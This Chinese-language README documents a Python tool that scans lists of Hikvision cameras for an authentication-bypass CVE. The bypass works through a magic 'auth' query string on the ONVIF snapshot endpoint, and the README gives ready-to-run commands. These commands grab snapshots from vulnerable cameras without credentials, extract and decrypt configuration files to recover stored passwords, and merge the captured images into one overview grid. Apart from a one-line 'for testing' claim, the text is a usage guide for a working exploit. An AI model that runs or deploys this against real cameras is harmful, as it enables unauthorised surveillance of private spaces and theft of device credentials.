独立工具,用于从文件列出 Hikvision 摄像头,并使用有效凭据(HTTP Basic 或 Digest 认证)或 CVE 认证绕过从每个摄像头拍摄快照。旨在另一台主机上运行以进行测试。
host 或 host:port)中读取摄像头。--save-snapshot 保存易受攻击设备的快照。--exploit 通过 CVE 绕过且无需凭据)。--merge 构建一张总览图。依赖项:requests、Pillow(用于 --merge)。requestspip install -r requirements.txt
创建一个文本文件,每行一个摄像头。以 # 开头的行将被忽略。
# 示例 cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080
打印从文件中读取的摄像头(无需凭据)。
python hikvision_snapshots.py cameras.txt list
可选的可达性检查(向每个主机发送 HTTP GET 请求):
python hikvision_snapshots.py cameras.txt list -v
测试每个摄像头是否存在 Hikvision 快照认证绕过 CVE。无需凭据。
python hikvision_snapshots.py cameras.txt check
仅保存易受攻击摄像头的快照:
python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots
选项:--timeout、--workers、-o(用于 --save-snapshot)。
通过 CVE 从每个摄像头提取凭据(魔法认证获取用户列表和配置文件,然后解密配置)。主机上需要 OpenSSL。运行无需凭据。
python hikvision_snapshots.py cameras.txt credentials
选项:--timeout、--workers。
验证你的凭据在每个摄像头上是否有效(使用相同的快照端点;不保存图片)。
python hikvision_snapshots.py cameras.txt auth-check -u admin -p YourPassword
选项:--timeout、--workers、--digest(与快照相同)。
为每个摄像头拍摄一张快照并保存为 JPEG。使用有效凭据或 --exploit(CVE 认证绕过,无需凭据)。
# 使用凭据
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword
# 使用 CVE 漏洞(无需凭据)
python hikvision_snapshots.py cameras.txt snapshot --exploit
snapshots/ 目录下(使用 -o 更改)。host 或 host_port(例如 192_168_1_100.jpg、nvr_local_8080.jpg)。选项:
使用 --merge 时,在保存每张快照后,工具会在输出目录中构建一张网格图(overview.jpg),每个摄像头一个单元格并带有标签。需要 Pillow(pip install Pillow)。
自定义输出并使用 Digest 认证的示例:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20
合并总览图的示例:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword --merge
# 或使用漏洞(无需凭据):
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out
经过认证的快照(使用凭据):脚本按顺序尝试 – /ISAPI/Streaming/channels/1/picture、/ISAPI/Streaming/channels/101/picture、/onvif-http/snapshot。
CVE(检查 / --exploit): /onvif-http/snapshot?auth=YWRtaW46MTEK(魔法认证绕过,无需凭据)。
hikvision_snapshots.py、requirements.txt 和摄像头列表文件复制到目标主机。pip install -r requirements.txtlist 验证文件;使用 check 进行 CVE 检查、auth-check 进行凭据验证,或使用 snapshot(带 -u/-p 或 --exploit)。确保目标主机能够网络访问所有摄像头的 IP 和端口。
| 选项 | 描述 | 默认值 |
|---|
-u, --username | 摄像头用户名 | 需要(除非使用 --exploit) |
-p, --password | 摄像头密码 | 需要(除非使用 --exploit) |
--exploit | 使用 CVE 魔法认证绕过(无需凭据) | 关闭 |
-o, --output-dir | 快照图片保存目录 | snapshots |
--timeout | HTTP 超时(秒) | 15 |
--workers | 并发快照请求数 | 10 |
--digest | 使用 HTTP Digest 认证而非 Basic | 关闭 |
--merge | 将所有快照合并为一张总览图 | 关闭 |
--merge-columns | 合并的网格列数(默认:自动) | 自动 |